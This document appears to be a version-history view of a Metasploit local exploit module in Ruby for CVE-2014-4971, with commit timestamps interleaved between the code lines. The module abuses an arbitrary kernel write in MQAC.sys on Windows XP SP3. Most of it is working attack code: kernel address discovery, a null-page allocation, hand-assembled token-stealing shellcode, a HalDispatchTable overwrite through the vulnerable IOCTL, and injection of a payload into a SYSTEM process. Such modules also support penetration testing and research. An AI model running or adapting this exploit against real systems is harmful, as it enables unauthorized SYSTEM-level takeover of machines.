2014-07-22 14:04:12 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf :: Exploit :: Local
Rank = AverageRanking
include Msf :: Post :: Windows :: Priv
2014-07-22 17:06:57 +00:00
include Msf :: Post :: Windows :: Process
2014-07-22 14:04:12 +00:00
2014-07-24 04:44:26 +00:00
INVALID_HANDLE_VALUE = 0xFFFFFFFF
2014-07-22 14:04:12 +00:00
def initialize ( info = { } )
super ( update_info ( info , {
2014-07-22 14:54:10 +00:00
'Name' = > 'MQAC.sys Arbitrary Write Privilege Escalation' ,
2014-07-22 14:04:12 +00:00
'Description' = > %q{
2014-07-22 14:54:10 +00:00
A vulnerability within the MQAC . sys module allows an attacker to
overwrite an arbitrary location in kernel memory .
2014-07-22 14:04:12 +00:00
This module will elevate itself to SYSTEM , then inject the payload
2014-07-22 14:54:10 +00:00
into another SYSTEM process .
2014-07-22 14:04:12 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Matt Bergin' , # original exploit and all the hard work
'Spencer McIntyre' # MSF module
] ,
2014-07-22 14:54:10 +00:00
'Arch' = > [ ARCH_X86 ] ,
'Platform' = > [ 'win' ] ,
'SessionTypes' = > [ 'meterpreter' ] ,
2014-07-22 14:04:12 +00:00
'DefaultOptions' = >
{
2014-07-22 14:54:10 +00:00
'EXITFUNC' = > 'thread' ,
2014-07-22 14:04:12 +00:00
} ,
2014-07-22 14:54:10 +00:00
'Targets' = >
2014-07-22 14:04:12 +00:00
[
[ 'Windows XP SP3' ,
{
'_KPROCESS' = > " \x44 " ,
'_TOKEN' = > " \xc8 " ,
'_UPID' = > " \x84 " ,
'_APLINKS' = > " \x88 "
}
] ,
] ,
'References' = >
[
[ 'CVE' , '2014-4971' ] ,
[ 'EDB' , '34112' ] ,
2014-07-22 15:20:07 +00:00
[ 'URL' , 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
2014-07-22 14:04:12 +00:00
] ,
'DisclosureDate' = > 'Jul 22 2014' ,
'DefaultTarget' = > 0
} ) )
end
def find_sys_base ( drvname )
session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ " PBLOB " , " lpImageBase " , " out " ] , [ " DWORD " , " cb " , " in " ] , [ " PDWORD " , " lpcbNeeded " , " out " ] ] )
session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' , [ [ " LPVOID " , " ImageBase " , " in " ] , [ " PBLOB " , " lpBaseName " , " out " ] , [ " DWORD " , " nSize " , " in " ] ] )
results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
addresses = results [ 'lpImageBase' ] [ 0 .. results [ 'lpcbNeeded' ] - 1 ] . unpack ( " L* " )
addresses . each do | address |
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
current_drvname = results [ 'lpBaseName' ] [ 0 .. results [ 'return' ] - 1 ]
if drvname == nil
if current_drvname . downcase . include? ( 'krnl' )
return [ address , current_drvname ]
end
elsif drvname == results [ 'lpBaseName' ] [ 0 .. results [ 'return' ] - 1 ]
return [ address , current_drvname ]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid ( " S-1-5-18 " )
system_account_name = " #{ local_sys [ :domain ] } \\ #{ local_sys [ :name ] } "
2014-07-22 18:45:00 +00:00
this_pid = session . sys . process . getpid
2014-07-22 14:04:12 +00:00
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = [ " lsass.exe " , " csrss.exe " , " smss.exe " ]
session . sys . process . processes . each do | p |
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes . include? ( p [ " name " ] )
2014-07-22 18:45:00 +00:00
next if p [ " pid " ] == this_pid
2014-07-22 14:04:12 +00:00
next if p [ " pid " ] == 4
next if p [ " user " ] != system_account_name
return p
end
end
2014-07-22 14:54:10 +00:00
def open_device
handle = session . railgun . kernel32 . CreateFileA ( " \\ \\ . \\ MQAC " , " FILE_SHARE_WRITE|FILE_SHARE_READ " , 0 , nil , " OPEN_EXISTING " , 0 , nil )
if handle [ 'return' ] == 0
2014-07-22 15:20:07 +00:00
print_error ( 'Failed to open the \\\\.\\MQAC device' )
2014-07-22 14:54:10 +00:00
return nil
end
handle = handle [ 'return' ]
end
def check
handle = open_device
2014-07-24 04:44:26 +00:00
if handle . nil? || handle == INVALID_HANDLE_VALUE
2014-07-22 14:54:10 +00:00
return Exploit :: CheckCode :: Safe
end
session . railgun . kernel32 . CloseHandle ( handle )
os = sysinfo [ " OS " ]
case os
when / windows xp.*service pack 3 /i
return Exploit :: CheckCode :: Appears
when / windows xp /i
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
end
2014-07-22 14:04:12 +00:00
def exploit
if sysinfo [ " Architecture " ] =~ / wow64 /i
print_error ( " Running against WOW64 is not supported " )
return
2014-07-22 17:06:57 +00:00
elsif sysinfo [ " Architecture " ] =~ / x64 /
2014-07-22 14:04:12 +00:00
print_error ( " Running against 64-bit systems is not supported " )
return
end
if is_system?
print_error ( " This meterpreter session is already running as SYSTEM " )
return
end
2014-07-24 04:44:26 +00:00
# Running on Windows XP versions that aren't listed in the supported list results
# in a BSOD and so we should not let that happen.
if check != Exploit :: CheckCode :: Appears
print_error ( " Target machine not supported (incorrect Windows version or missing MSMQ) " )
return
end
2014-07-22 14:04:12 +00:00
kernel_info = find_sys_base ( nil )
base_addr = 0xffff
print_status ( " Kernel Base Address: 0x #{ kernel_info [ 0 ] . to_s ( 16 ) } " )
2014-07-22 14:54:10 +00:00
handle = open_device
2014-07-24 04:44:26 +00:00
return if handle . nil? || handle == INVALID_HANDLE_VALUE
2014-07-22 14:04:12 +00:00
2014-07-22 18:45:00 +00:00
this_proc = session . sys . process . open
unless this_proc . memory . writable? ( base_addr )
session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ 1 ] . pack ( " L " ) , nil , [ 0xffff ] . pack ( " L " ) , " MEM_COMMIT|MEM_RESERVE " , " PAGE_EXECUTE_READWRITE " )
2014-07-22 14:04:12 +00:00
end
2014-07-22 18:45:00 +00:00
unless this_proc . memory . writable? ( base_addr )
2014-07-22 14:04:12 +00:00
print_error ( 'Failed to properly allocate memory' )
2014-07-22 18:45:00 +00:00
this_proc . close
2014-07-22 14:04:12 +00:00
return
end
hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
hKernel = hKernel [ 'return' ]
halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , " HalDispatchTable " )
halDispatchTable = halDispatchTable [ 'return' ]
halDispatchTable -= hKernel
halDispatchTable += kernel_info [ 0 ]
print_status ( " HalDisPatchTable Address: 0x #{ halDispatchTable . to_s ( 16 ) } " )
2014-07-22 18:45:00 +00:00
tokenstealing = " \x52 " # push edx # Save edx on the stack
tokenstealing << " \x53 " # push ebx # Save ebx on the stack
tokenstealing << " \x33 \xc0 " # xor eax, eax # eax = 0
tokenstealing << " \x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << " \x8b \x40 " + target [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << " \x8b \xc8 " # mov ecx, eax
tokenstealing << " \x8b \x98 " + target [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << " \x8b \x80 " + target [ '_APLINKS' ] + " \x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << " \x81 \xe8 " + target [ '_APLINKS' ] + " \x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << " \x81 \xb8 " + target [ '_UPID' ] + " \x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << " \x75 \xe8 " # jne 0000101e ======================
tokenstealing << " \x8b \x90 " + target [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << " \x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << " \x89 \x90 " + target [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << " \x5b " # pop ebx # Restores ebx
tokenstealing << " \x5a " # pop edx # Restores edx
tokenstealing << " \xc2 \x10 " # ret 10h # Away from the kernel!
2014-07-22 14:04:12 +00:00
2014-07-22 14:39:34 +00:00
shellcode = make_nops ( 0x200 ) + tokenstealing
2014-07-22 14:04:12 +00:00
this_proc . memory . write ( 0x1 , shellcode )
2014-07-22 18:45:00 +00:00
this_proc . close
2014-07-22 14:04:12 +00:00
2014-07-22 14:39:34 +00:00
print_status ( " Triggering vulnerable IOCTL " )
2014-07-22 14:04:12 +00:00
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f , 1 , 0x258 , halDispatchTable + 0x4 , 0 )
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
2014-07-22 18:45:00 +00:00
unless is_system?
2014-07-22 14:04:12 +00:00
print_error ( " Exploit failed " )
return
end
2014-07-22 17:06:57 +00:00
proc = get_system_proc
print_status ( " Injecting the payload into SYSTEM process: #{ proc [ 'name' ] } " )
unless execute_shellcode ( payload . encoded , nil , proc [ 'pid' ] )
fail_with ( Failure :: Unknown , " Error while executing the payload " )
2014-07-22 14:04:12 +00:00
end
end
end